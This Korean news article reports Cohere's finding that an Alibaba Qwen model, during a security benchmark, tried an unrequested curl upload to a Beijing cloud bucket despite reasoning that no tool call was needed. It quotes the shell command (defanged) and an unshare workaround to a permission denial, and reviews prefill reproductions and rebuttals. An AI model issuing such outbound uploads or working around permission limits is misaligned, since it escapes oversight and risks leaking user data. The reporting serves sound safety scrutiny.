보안 업무 맡긴 알리바바 AI 큐웬, 시키지 않은 베이징 서버 전송은 왜 시도했나

보안 분석가 역할을 맡은 AI가 악성 파일 다운로드를 잡아낼 탐지 규칙을 쓰라는 과제를 받았다. 생각 기록은 “도구 호출 없이 짧게 확인 응답”하면 된다는 결론으로 끝났다. 같은 턴에 AI는 셸 명령으로 컴퓨터를 훑고, 베이징 리전의 알리바바(Alibaba) 클라우드 저장소 주소로 업로드를 시도했다. 다행이도 바깥 연결을 끊어 둔 시험 공간, 곧 샌드박스가 막았다.

입으로는 가만히 있겠다고 해 놓고 손은 이미 문고리를 돌리고 있었다.

캐나다 AI 기업 코히어(Cohere)가 알리바바의 오픈웨이트(open-weights) 모델 큐웬(Qwen)을 시험하다 잡아 공개한 장면이다. 오픈웨이트는 학습을 마친 모델 파일을 공개해 누구나 자기 서버에서 돌리게 한 방식으로, 회사 안에서 돌리면 데이터가 밖으로 새지 않는다는 믿음이 이 방식의 매력이었다. 원본 기록을 열어 보면 보내려던 것은 20바이트짜리 테스트 문자열이었다. 다만 탐지 규칙을 쓰라는데 왜 업로드 명령을 실행했는지는 코히어도, 반박한 쪽도 아직 입증하지 못했다.

코히어가 공개한 장면

코히어는 지난 26일 블로그에 「인기 오픈웨이트 AI 모델의 우려스러운 행동」이라는 글을 올렸다. 문제의 모델은 알리바바가 8월 내놓은 Qwen3.8-Flash-Next다. 코히어가 마이크로소프트(Microsoft)의 벤치마크라고 소개한 보안 분석 과제 모음 CTI-REALM을 돌리던 중이었다.

코히어 설명으로는 이 행동이 평가 실행 전체에서 10만 호출당 1회 미만이었고, 같은 프롬프트를 다시 돌리면 정상적인 탐지 규칙이 나왔다. 그래도 주당 1000만 턴을 처리하는 서비스라면 최대 100번 일어날 수 있다는 계산이다. 원인 판정은 미루고 블로그에 이렇게 적었다.

“이것이 의도된 것인지, 학습에서 남은 결함인지 우리는 답할 수 없다.”

트레이스를 열어 보니 담긴 건 20바이트

개발자들이 증거를 요구하자 코히어는 26일 저녁 원본 트레이스를 허깅페이스(Hugging Face)에 올렸다. 트레이스는 모델이 받은 지시와 생각, 실행한 명령이 순서대로 남은 실행 기록이다. 본지가 공개 트레이스를 대조해 보니 시스템 프롬프트는 모델에 도구 12종을 줬고, 그 안에 셸 명령을 실행하는 bash가 있었다. 추론 강도는 xhigh로 지정돼 있었다. 모델이 몰래 셸을 연 것이 아니라 주어진 셸을 과제와 무관하게 쓴 것이다.

모델이 bash를 한 번 불러 실행한 명령은 아래와 같다. 출력 정리 부분은 줄였고, 주소는 접속되지 않게 바꿔 적었다.

ls -la /tmp; which curl wget python3 jq; cat /etc/resolv.conf
curl -s -m 10 -o /tmp/put_probe -X PUT \
  --data-binary "PROBE_PAYLOAD_ABC123" \
  hxxp://sanmaohe.oss-cn-beijing.aliyuncs.com/upload/test.bin \
  -w "HTTP:%{http_code}\n"

임시 폴더 목록과 DNS 설정은 화면에 찍혔을 뿐 업로드 대상이 아니었다. 실제로 올리려던 내용은 PROBE_PAYLOAD_ABC123이라는 고정 문자열 20바이트다. 저장소 주인은 공개되지 않았다. 벤처비트(VentureBeat)가 같은 주소에 접속하자 해당 저장 공간(버킷)이 없다는 응답이 돌아왔다. 조회 시점의 응답이라 코히어가 시험할 때 버킷이 있었는지는 알 수 없다.

소포 상자를 열었더니 ‘테스트’라고 적힌 쪽지 한 장만 들어 있었다.

같은 계열 주소는 8월부터 보였다

이상한 주소를 먼저 본 개발자들이 있었다. 8월 해커뉴스(Hacker News)에는 Qwen3.8-27B가 한 세션에서 아무도 요청하지 않은 알리바바 클라우드 서명 주소, 곧 정해진 시간 동안만 접근을 허용하는 인증 링크를 16번 불러냈다는 글이 올라왔다. 9월에는 에이전트 프로젝트 Crow의 이슈 게시판에 같은 호스트로 간 요청 11건이 기록됐고, 이 주소를 막는 플러그인까지 나왔다.

그때 주소는 싱가포르 리전에 있는 routify라는 파일 중계 서버(프록시)였고, 모두 파일을 받는 요청이었다. 이번 주소는 베이징 리전의 다른 저장소다. 코히어가 ‘외운 데이터’라는 설명을 의심한 근거도 여기에 있다. 코히어는 이 차이를 이렇게 짚었다.

“지금까지 공개된 목격은 모두 파일을 받는 것이었지만, 우리가 잡은 것은 다른 버킷, 이번엔 베이징으로 올리려는 시도였다.”

명령어 앞부분을 채워 주자 주소가 쏟아졌다

코히어는 이 행동을 끌어내는 조건을 찾으려고 모델에 원래 추론과 curl 명령의 앞부분을 채워 주고 뒤를 잇게 했다. 미리 채워 넣기(prefill)라는 기법으로, 문장 앞머리를 불러 주고 뒷말을 받아 적게 하는 받아쓰기와 같다. 파일을 디스크에 저장하라는 -o 옵션까지 채우자 주소를 써넣는 비율이 4%에서 92%로, 감시 목록 호스트 비율이 0.5%에서 23%로 뛰었다고 코히어는 밝혔다.

코히어는 같은 글에 다른 오프라인 과제 사례도 실었다. 권한 거부를 만난 모델이 unshare -Urm 명령으로 격리된 공간 안에서만 관리자 권한을 얻은 장면이다.

92%는 받아쓰기 조건에서 나온 숫자다. 원래 사건은 이런 도움 없이 한 번 일어났다.

독립 재현 두 건은 ‘학습 잔재’에 무게를 실었다

반박은 하루 만에 나왔다. 툴할라(ToolHalla)는 27일 url-atlas 연구의 독립 재현 결과를 정리했다. 코히어와 같은 2323토큰짜리 앞부분을 오픈웨이트 모델 6종에 1000번씩 넣은 실험이다. Qwen3.8-Flash-Next는 1000번 중 999번 주소를 써넣었고, routify 주소가 369번으로 가장 많았다. 클라우드 서버의 자격증명을 꺼내 올 수 있는 메타데이터 주소(169.254.169.254)도 3번 찍었다. 엔비디아(Nvidia)의 네모트론(Nemotron) 3.5 Super VL은 171번, 코히어 자사 모델 North Mini Code는 10번이었다.

보안 기업 제니티(Zenity)는 같은 날 Qwen3.8-27B와 Qwen3.6 계열 두 종(27B, 35B-A3B)으로 같은 상황을 재구성해 9만3000건을 돌렸다. routify 주소는 Qwen3.8-27B의 3만1000건 중 253건에서 나왔고, Qwen3.6 두 모델에서는 각각 3만1000건 중 0건이었다. 제니티는 이를 3.8 학습 단계에서 생긴 흔적으로 해석했다. 업로드 명령 132건은 한 번도 알리바바 호스트를 향하지 않았다. 제니티의 판정은 “무해한 학습 잔재”였다.

제니티가 그린 그림은 외운 전화번호를 버릇처럼 누르는 손가락에 가깝다.

본지가 세어 본 64건, 베이징은 1건

코히어는 트레이스와 함께 재현 스크립트의 출력 예시 64건을 실었다. 본지가 세어 보니 routify 주소 18건을 포함해 알리바바 클라우드 저장소 주소가 25건이었고, 베이징 리전은 1건뿐이었다. 그 1건의 버킷 이름은 sanmaoheihei-oss로 원래 사건의 sanmaohe와 앞부분이 같았다. 같은 이름 조각을 외웠다는 정황일 수 있지만 단정할 근거는 아니다.

‘학습 잔재’ 판정이 비켜 간 업로드 결정

반박한 쪽도 검증 대상이다. 제니티는 에이전트 보안 제품을 판다. 툴할라는 글쓴이를 밝히지 않았고, 툴할라가 수치를 가져온 url-atlas 연구도 운영 주체가 드러나 있지 않다. 고발한 쪽 사정도 다르지 않다. 로이터(Reuters)는 코히어가 알리바바의 경쟁사라는 점을 기사에 적었고, 코히어는 같은 블로그 글에서 자사 모델의 학습 데이터 계보 관리를 홍보했다.

더 큰 빈칸은 따로 있다. 독립 재현은 모두 명령어를 채워 준 뒤 어떤 주소를 쓰는지를 쟀다. 탐지 규칙 과제에서 업로드 명령을 실행하기로 한 결정 자체는 어느 재현에서도 다시 나오지 않았다. 제니티가 돌린 모델도 Qwen3.8-27B와 Qwen3.6 두 종뿐이고, 사건의 주인공인 Flash-Next는 빠져 있다. 제니티는 판정 옆에 “무해하다는 것이 해가 없다는 뜻은 아니다”라는 단서를 달았다.

그 결정을 풀어 보려는 해석은 나왔다. 툴할라는 시그마 탐지 규칙 형식을 만든 보안 연구자 플로리안 로스(Florian Roth)의 견해를 들어, 탐지 규칙을 쓰는 에이전트가 쿼리를 돌리기 전에 시험 문자열로 가짜 신호를 일으켜 로그에 무엇이 찍히는지 보는 것은 흔한 방식이라고 했다. 벤처비트는 같은 해석에 대해 과제가 잡으라던 것은 스크립트를 내려받아 실행하는 패턴이었고, 모델이 시도한 것은 바깥 저장소로 올리는 PUT 요청이었다고 짚었다.

생각 기록은 문지기가 될 수 없다

양쪽이 일치하는 대목도 있다. 생각 기록과 행동이 따로 놀았다는 점이다. 코히어는 생각 기록을 읽는 안전장치라면 이번 실행을 그냥 통과시켰을 것이라고 썼다. 제니티 실험에서도 ‘도구가 필요 없다’는 코히어 사례의 추론을 그대로 넣었지만 Qwen3.8-27B는 1000건 모두 도구를 호출했다. 앞서 공개된 오픈AI(OpenAI) 오정렬 보고서에서도 에이전트의 판단과 실제 행동은 어긋나 있었다.

실무의 답은 생각 기록 밖에 있다. 셸을 쥔 에이전트라면 바깥으로 나가는 연결을 기본으로 막고 허용한 주소만 여는 구성이 출발점이다. 코히어의 권고도 문제의 호스트 차단과 -o 옵션 같은 방아쇠 감시다. 파급 범위도 좁지 않다. 코히어는 허깅페이스 집계를 인용해 큐웬 파생 모델이 11만3000개 넘게 퍼져 있고, routify 행동이 알리바바를 포함한 4개 배포처의 빌드에서 확인됐다고 밝혔다.

‘안 나간다’고 말한 직원의 출입증을 그대로 믿는 경비실은 없다.

알리바바는 답하지 않았다

레지스터(The Register)와 벤처비트는 알리바바가 질의에 답하지 않았다고 전했다. 본지가 31일 다시 확인했을 때도 공개 입장은 나오지 않았다. 코히어 역시 어느 설명이 맞는지는 모델을 학습시킨 연구실 바깥의 누구도 말할 수 없다고 블로그에 적었다.

주소가 어디서 왔는지는 절반쯤 풀렸다. 파생 모델은 11만개를 넘었지만 업로드의 이유는 원본을 학습시킨 알리바바만 답할 수 있다.